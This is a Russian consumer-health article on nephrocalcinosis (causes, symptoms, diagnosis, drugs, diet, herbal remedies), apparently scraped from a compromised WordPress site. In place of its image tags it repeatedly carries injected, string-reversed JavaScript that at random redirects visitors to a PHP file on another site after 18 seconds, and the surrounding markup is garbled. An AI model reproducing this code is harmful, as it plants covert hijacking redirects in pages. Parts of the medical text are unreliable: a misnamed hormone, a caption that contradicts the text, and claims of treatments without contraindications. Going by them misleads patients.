Нефрокальциноз у взрослых и детей: причины и симптомы, диагностика и лечение, а также профилактика и последствия

Нарушение обмена веществ ведёт к сбою работы всех внутренних органов. Почки не исключение. При нарушении метаболизма кальция может развиться заболевание — нефрокальциноз. Почечная патология в запущенном состоянии часто приводит к тяжёлым последствиям. Чтобы не допустить подобного исхода, важно знать симптоматику болезни, методы лечения и правила профилактики.

Что такое нефрокальциноз у детей и взрослых

Нефрокальциноз характеризуется отложением солей кальция в паренхиме (ткань, наполняющая орган) и канальцах почек. В результате образуются кальцинаты — плотный каменный осадок, под которым происходит отмирание почечной ткани.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/04/nefrokalcinoz.jpeg» alt=»Нефрокальциноз» width=»600″ height=»461″ /> При нефрокальцинозе происходит накапливание солей кальция в органе

Заболевание может возникнуть как у взрослых, так и у детей, в том числе у грудных.

Патология сопровождается следующими нарушениями:

• ухудшением кровообращения в почке;
• увеличением нагрузки на органы мочеотделения;
• острым воспалительным процессом в органе;
• рубцеванием почечной ткани;
• развитием почечной недостаточности.

В медицине заболевание имеет и другие названия:

• кальцификация почки;
• метастатическое обызвествление почки;
• известковые метастазы в почке;
• известковая дистрофия почки.

Виды нефрокальциноза

В зависимости от причин возникновения нефрокальциноз бывает:

• первичный — сопровождается отложение солей кальция в здоровых почечных тканях. Возникает в следствии различных заболеваний и нарушения обменных процессов в организме;
• вторичный — фиксирование кальциевых отложений происходит на рубцовых тканях почки. Рубцы образуются в результате воздействия на почечную ткань химических и токсических веществ.

Исходя из количества поражённых органов, нефрокальциноз подразделяется на два вида:

• односторонний,
• двухсторонний.

В зависимости от места локализации кальцинатов в почке нефрокальциноз бывает:

• медуллярный — соли кальция располагаются в почечных пирамидах;
• кортикальный — соли кальция образуются в корковом слое почки.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/04/stroenie-pochki-728×546.png» alt=»Строение почки» width=»728″ height=»546″ /> При меддулярном нефрокальцинозе соли кальция накапливаются в корковом веществе, при кортикальном — в почечных пирамидах

Причины развития патологии у детей и взрослых

Основные запасы кальция находятся в костной ткани, где химический элемент связывается с белками. А также кальций содержится в крови, лимфе и межклеточной жидкости. Из организма кальций выводится толстой кишкой и почками. На обмен кальция в организме влияют следующие вещества:

• витамин D, который вырабатывается под воздействием ультрафиолетового излучения солнца, а также поступает в организм с пищевыми продуктами. Витамин D стимулирует ресорбцию (выделение) кальция из костной ткани. При избытке витамина D содержание кальция в крови также растёт, что приводит к развитию нефрокальциноза. Чаще всего избыток витамина D наблюдается при злоупотреблении препаратами с содержанием этого вещества;
  
• паратгормон, образующийся в результате работы паращитовидных желёз. Между паратгормоном и кальцием существует «двойная обратная связь». Если уровень кальция в крови снижается, паращитовидные железы усиливают выработку паратгормона. Это повышает содержание кальция в крови. В свою очередь, кальций воздействует на рецепторы паращитовидных желёз, что заставляет их прекратить выброс паратгормона. При наличии различных патологий паращитовидных желёз выработка партгормона может быть нарушена, количество кальция в крови растёт, возникают предпосылки для развития нефрокальциноза;

  $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/04/parashchitovidnye-zhelezy-728×545.jpg» alt=»Паращитовидные железы» width=»728″ height=»545″ /> Работа паращитовидных желёз влияет на уровень кальция в крови

• кальцитонит — гормон щитовидной железы, стимулирующий усвоение кальция костной тканью, а также ускоряющий вывод микроэлемента из организма кишечником и почками. Кальцитонит вырабатывается в малом количестве при сильных физических нагрузках, что влечёт за собой повышение уровня кальция в крови;

  $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/04/kalcitonit-728×545.jpg» alt=»Кальцитонит» width=»728″ height=»545″ /> Гормон щитовидной железы кальцитонит способствует уменьшению содержания кальция в крови

• фосфор, который поступает в организм с продуктами питания. При дефиците фосфора содержание кальция в крови растёт, соли кальция накапливаются в сосудах, внутренних органах, в том числе в почках.

Другие факторы, влияющие на развитие нефрокальциноза:

• врождённые почечные патологии;
• пиелонефрит (воспалительный процесс в канальцах почки);
• гломерулонефрит (воспалительный процесс в почечных клубочках);
• наследственная предрасположенность;
• воздействие радиации, токсинов, ртути на почки;
• злоупотребление антибиотиками, мочегонными средствами и другими лекарствами.

Видео: избыток кальция в организме

Симптомы заболевания

В начальной стадии развития заболевание может никак не проявлять себя и не беспокоить человека. При прогрессировании патологии, когда отложения кальция начинают влиять на мочевыделительную функцию почек, появляются симптомы:

• учащённое мочеиспускание;
• увеличение суточного диуреза (количество мочи, выделяемое почками за сутки);
• вялость и усталость;
• снижение аппетита;
• повышенное газообразование;
• тошнота:
• отёки рук и ног;
• повышенное давление;
• постоянная жажда;
• болевой синдром в области сердца;
• аритмия;
• зуд кожного покрова.

Симптоматика у грудничков имеет некоторые особенности:

• ребёнок часто срыгивает;
• моча становится тёмной и мутной;
• малыш может капризничать и отказываться от груди.

У детей более старшего возраста признаки нефрокальциноза аналогичны общим симптомам.

Опасная симптоматика

Если кальцинаты достигли больших размеров и произошла обструкция (закупорка) мочеточника, может возникнуть приступ почечной колики, который сопровождается выраженными симптомами:

• резкий болевой синдром появляется в области почек, далее распространяется в верхнюю часть живота. А также боли могут локализоваться в спине, ногах, паху, под рёбрами, в зоне мочеточника;
• у человека развивается обильная рвота, которая способствует быстрому обезвоживанию организма;
• в моче появляется кровь;
• возникает сильное головокружение;
• повышается температура тела до 38–40 градусов.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/04/pochechnaya-kolika.jpg» alt=»Почечная колика» width=»700″ height=»492″ /> При попадании крупного кальцината в мочеточник возникает почечная колика, которая сопровождается сильнейшим болевым синдромом

Во время почечной колики боли у человека настолько сильны, что может наступить болевой шок. При характерных для приступа симптомах необходимо срочно вызвать «скорую помощь».

Диагностика нефрокальциноза

При подозрении на нефрокальциноз назначаются лабораторные исследования:

• общий анализ мочи;
• проба Сулковича, определяющая содержание кальция в моче;
• общий анализ крови;
• биохимический анализ крови с определением содержания кальция и фосфора;
• анализ крови на гормоны щитовидной и паращитовидных желёз.

Также применяются инструментальные способы диагностики:

• биопсия. Позволяет выявить заболевание на самой ранней стадии развития. Во время процедуры проводится забор почечной ткани для дальнейшего исследования в лаборатории;
  

  $nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/04/biopsiya-pochki-1-728×635.jpg» alt=»Биопсия почки» width=»728″ height=»635″ /> Во время биопсии производится забор биологического материала из почки при помощи специального шприца с иглой

• ультразвуковое исследование. Имеет недостатки: кальцинаты небольшого размера могут быть не обнаружены;
• магнитно-резонансная томография. Этот метод способен определить даже самые мелкие отложения кальция;
• рентгенография. Не применяется на ранних стадиях развития нефрокальциноза. Метод используется для визуализации и исследования крупных кальцинатов.

Диагностика заболевания у детей и взрослых проводится по одинаковой схеме.

Дифференциальная диагностика

Дифференцировать нефрокальциноз следует с губчатой почкой — врождённой патологией, при которой в области почечных пирамид формируются мелкие кисты. Внутреннее содержимое кист — конденсат солей кальция.

Лечение

Для лечения нефрокальциноза не применяются хирургическое вмешательство, предпочтение отдаётся консервативным способам.

Медикаментозная терапия

Для лечения нефрокальциноза у детей и взрослых могут применяться следующие препараты:

• противовоспалительные средства (Канефрон, Цистон);
• антибиотики (Цефотаксим, Аугментин) — назначаются при бактериальной инфекции, которая часто сопровождает прогрессирующий нефрокальциноз;
• для восстановления обмена веществ применяются инфузии гидрокарбоната или цитрата натрия;
• мочегонные средства (Верошпирон, Фуросемид, Урактон) — способствуют увеличению диуреза, благодаря чему из организма выводится избыток кальция;
• витамины группы В — улучшают функционирование почек.

Мочегонные средства очень редко используются для лечения детей до 1 года. Исключение — появление сильных отёков.

Фотогалерея: медикаменты, применяемые при нефрокальцинозе

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»32741,32736,32735,32734″]

Физиопроцедуры

Физиопроцедуры применяются на начальной стадии развития заболевания и способны значительно улучшить физические показатели пациента. К наиболее эффективным относятся следующие физиопроцедуры:

• ультрафонофорез — избавляет от болевого синдрома, устраняет воспалительные процессы в почках. Под воздействием ультразвука лекарственные средства проникают глубоко в ткани, что ускоряет процесс выздоровления. Процедура не имеет противопоказаний и не вызывает побочных эффектов;
• магнитотерапия — способствует укреплению защитных сил организма, улучшает кровообращение в почках, усиливает выделительную и фильтрационную функции органа, снижает болевой синдром. Противопоказания к процедуре отсутствуют, поэтому магнитотерапия подходит как для лечения взрослых, так и для детей.

Диета и питьевой режим

При нефрокальцинозе применяются лечебный стол №7, разработанный советским диетологом М. И. Певзнером. Основные правила диеты:

• питаться необходимо часто (4–5 раз в день) и мелкими порциями, чтобы не перегружать работу почек;
• количество потребляемой жидкости в сутки должно быть не менее двух литров;
• снижается применение в питании соли, которая способствует обезвоживанию организма;
• не используются в рационе острые, маринованные, копчёные, жареные, жирные продукты;
• еда отваривается, тушится, готовится на пару, запекается;
• исключаются алкогольные и газированные напитки, кофе, крепкий чёрный чай.

А также при заболевании ограничивается использование продуктов с высоким содержанием кальция:

• молочные продукты — творог, кефир, сыр, молоко, йогурты;
• бобовые — соя, чечевица, горох, фасоль;
• некоторые овощи — петрушка, укроп, базилик, брокколи, белокочанная капуста, картофель;
• курага;
• овсянка;
• кунжут;
• фисташки.

Фотогалерея: запрещённые продукты при нефрокальцинозе

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»32697,32695,32692,32689,32731″]

При нефрокальцинозе рекомендуется употреблять:

• любые крупы, кроме овсянки;
• макаронные изделия;
• фрукты;
• ягоды;
• овощи (кроме запрещённых);
• нежирные сорта мяса и рыбы;
• зелёный чай;
• напиток с цикорием;
• травяные отвары и настои.

Фотогалерея: полезные продукты при нефрокальцинозе

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»32717,32715,32711,32733,32732″]

Народные средства

Некоторые лекарственные травы способны улучшить работу почек при нефрокальцинозе. Однако следует помнить, что любое растение имеет противопоказания и перед его применением следует проконсультироваться с лечащим врачом.

Средство от нефрокальциноза с семенами льна

Отвар способствует выведению кальцинатов из почек, а также снимает болевую симптоматику.

Пошаговая инструкция приготовления средства:

1. Залейте одну столовую ложку семян льна стаканом воды.
2. Доведите смесь до кипения, остудите.
3. Добавьте в раствор несколько капель лимонного сока.
4. Употребляйте средство на протяжении двух дней каждые 2 часа (время сна не учитывается). Разовая дозировка — 50 мл.

Настой плодов шиповника

Средство оказывает мочегонное средство, а также способствует повышению иммунитета.

Процесс приготовления:

1. Три столовые ложки плодов шиповника залейте 0.5 л кипятка.
2. Варите на медленном огне в течение 10 минут.
3. Настаивайте отвар течение часа, далее профильтруйте.
4. Употребляйте три раза в день через час после еды. За один приём принимайте 150 мл отвара, курс лечения — две недели.

Противовоспалительный настой из кукурузных рыльцев, листьев берёзы и корня лопуха

Настой снимает воспаление в почках, усиливает выделение мочи.

Пошаговый рецепт:

1. Поместите в стеклянную тару две чайные ложки кукурузных рыльцев, столько же берёзовых листьев, а также чайную ложку корня лопуха.
2. Залейте сырьё 300 мл кипятка, закройте банку крышкой.
3. Настаивайте в течение часа, далее профильтруйте.
4. Принимайте три раза в день за 30 минут до начала еды. Разовая дозировка — две столовые ложки. Курс лечения — две недели.

Фотогалерея: лекарственные растения при нефрокальцинозе

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»32685,32684,32681,32679,32730″]

Прогноз лечения и возможные осложнения

При своевременной диагностике и верном лечении исход заболевания чаще положительный: нефрокальциноз удаётся победить. Если патология находится в запущенной стадии, прогноз весьма печален: развивается почечная недостаточность, при которой почки полностью утрачивают выделительную и фильтрационную функции. Из такой ситуации есть только два выхода: пожизненное применение гемодиализа или пересадка органа.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/04/gemodializ-728×394.jpg» alt=»Гемодиализ» width=»728″ height=»394″ /> При развитии почечной недостаточности применяется заместительная терапия — гемодиализ

Профилактика

Правила успешного профилактирования нефрокальциноза:

• следите за питанием — употребляйте полезные и качественные продукты, не злоупотребляйте острой и солёной едой;
• пейте чистую воду;
• ведите активный образ жизни — физическая нагрузка улучшает кровообращение в почках, что предотвращает застойные процессы;
• доводите до конца лечение всех инфекционных и воспалительных заболеваний в организме;
• откажитесь от вредных привычек — употребления алкоголя и курения;
• регулярно проходите профилактические медицинские осмотры;
• грамотно применяйте антибактериальные средства и другие медикаменты.

Уберечься полностью от нефрокальциноза невозможно. Однако при соблюдении простых правил профилактики, снижается риск развития патологии. Если диагноз уже поставлен, не следует падать духом. Обратитесь к грамотному специалисту и следуйте его предписаниям.